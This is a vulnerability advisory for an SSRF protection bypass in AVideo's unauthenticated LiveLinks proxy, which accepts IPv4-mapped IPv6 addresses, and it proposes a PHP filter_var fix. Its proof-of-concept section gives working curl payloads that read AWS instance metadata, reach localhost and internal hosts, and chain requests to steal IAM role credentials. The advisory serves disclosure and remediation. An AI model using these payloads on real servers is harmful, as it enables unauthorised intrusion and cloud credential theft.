CVE-2026-33480: AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy

Summary

The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.

Details

The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:

1. IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (/^10\./, /^172\./, /^192\.168\./, /^127\./, /^169\.254\./) 2. IPv6 checks (lines 4150-4166): Checks for ::1, fe80::/10 (link-local), and fc00::/7 (unique local)

The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:

// Line 4038: parseurl strips brackets from IPv6 host $host = parseurl($url, PHPURLHOST); // $host = "::ffff:169.254.169.254"

// Line 4079: filtervar recognizes it as valid IPv6, skips DNS resolution if (!filtervar($host, FILTERVALIDATEIP)) { $resolvedIP = gethostbyname($host); // SKIPPED } $ip = $host; // $ip = "::ffff:169.254.169.254"

// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal) if (pregmatch('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip)) // NO MATCH

// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix if ($ip === '::1' || ...) // NO MATCH if (pregmatch('/^fe[89ab][0-9a-f]:/i', $ip)) // NO MATCH if (pregmatch('/^f[cd][0-9a-f]{2}:/i', $ip)) // NO MATCH

// Line 4168: returns TRUE — bypass complete return true;

The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:

php // proxy.php lines 2-3 $doNotConnectDatabaseIncludeConfig = 1; $doNotStartSessionbaseIncludeConfig = 1;

After the bypass, two requests are made to the attacker-controlled URL: 1. getheaders() at line 40 (via stream context) 2. fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)

PoC

Read AWS instance metadata (IAM credentials):

bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'

Access localhost services:

bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'

Scan internal network:

bash curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'

Steal AWS IAM role credentials (full chain):

bash Step 1: Get IAM role name ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')

Step 2: Get temporary credentials for the role curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"

Impact

- Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure. - Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services. - Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs). - No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.

Recommended Fix

Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:

php // In isSSRFSafeURL(), replace lines 4099-4166 with:

// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6) if (!filtervar($ip, FILTERVALIDATEIP, FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE)) { errorlog("isSSRFSafeURL: blocked private/reserved IP: {$ip}"); return false; }

This single check replaces all the manual regex patterns and correctly handles: - All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16) - Loopback (127/8, ::1) - Link-local (169.254/16, fe80::/10) - Unique local (fc00::/7) - IPv4-mapped IPv6 (::ffff:0:0/96) — the bypass vector in this finding - Other reserved ranges (0/8, 100.64/10 CGN, etc.)